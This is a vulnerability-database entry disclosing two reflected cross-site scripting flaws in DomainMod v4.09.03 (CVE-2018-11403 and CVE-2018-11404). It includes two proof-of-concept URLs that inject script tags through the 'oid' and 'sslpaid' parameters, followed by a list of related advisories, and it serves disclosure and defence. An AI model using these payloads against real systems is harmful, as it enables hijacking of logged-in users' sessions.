Lucene search
LongerPACKETSTORM:147965HistoryMay 28, 2018 - 12:00 a.m.
DomainMod 4.09.03 Cross Site Scripting
2018-05-2800:00:00
longer
packetstormsecurity.com
32
0.001 Low
EPSS
Percentile
33.4%
`# Exploit Title: DomainMod v4.09.03 has XSS via the assets/edit/account-owner.php oid parameter
# Date: 2018-05-28
# Exploit Author: longeri1/[email protected]/4
# Vendor Homepage: domainmod (https://github.com/domainmod/domainmod)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03
# CVE : CVE-2018-11403
An issue was discovered in DomainMod v4.09.03.i1/4https://github.com/domainmod/domainmod/issues/63i1/4
After the user logged in, open the url :
http://127.0.0.1/assets/edit/account-owner.php?del=1&oid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28973761%29%3C/ScRiPt%3E
# Exploit Title: DomainMod v4.09.03 has XSS via the assets/edit/ssl-provider-account.php sslpaid parameter
# Date: 2018-05-28
# Exploit Author: longeri1/[email protected]/4
# Vendor Homepage: domainmod (https://github.com/domainmod/domainmod)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03
# CVE : CVE-2018-11404
An issue was discovered in DomainMod v4.09.03.i1/4https://github.com/domainmod/domainmod/issues/63i1/4
After the user logged in, open the url:
http://127.0.0.1/assets/edit/ssl-provider-account.php?del=1&sslpaid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28931289%29%3C/ScRiPt%3E
`
Related
openvas
openvas
DomainMOD <= 4.09.03 Multiple Vulnerabilities
2019-01-23 00:00:00
cvelist
cvelist
CVE-2018-11404
2018-05-24 07:00:00
CVE-2018-11403
2018-05-24 07:00:00
cve
cve
CVE-2018-11404
2018-05-24 07:29:00
CVE-2018-11403
2018-05-24 07:29:00
zdt
zdt
DomainMod 4.09.03 - sslpaid Cross-Site Scripting Vulnerability
2018-05-29 00:00:00
DomainMod 4.09.03 - oid Cross-Site Scripting Vulnerability
2018-05-29 00:00:00
prion
prion
Design/Logic Flaw
2018-05-24 07:29:00
Design/Logic Flaw
2018-05-24 07:29:00
exploitpack
exploitpack
DomainMod 4.09.03 - sslpaid Cross-Site Scripting
2018-05-28 00:00:00
DomainMod 4.09.03 - oid Cross-Site Scripting
2018-05-28 00:00:00
osv
osv
CVE-2018-11404
2018-05-24 07:29:00
CVE-2018-11403
2018-05-24 07:29:00
nvd
nvd
CVE-2018-11404
2018-05-24 07:29:00
CVE-2018-11403
2018-05-24 07:29:00
exploitdb
exploitdb
DomainMod 4.09.03 - 'sslpaid' Cross-Site Scripting
2018-05-28 00:00:00
DomainMod 4.09.03 - 'oid' Cross-Site Scripting
2018-05-28 00:00:00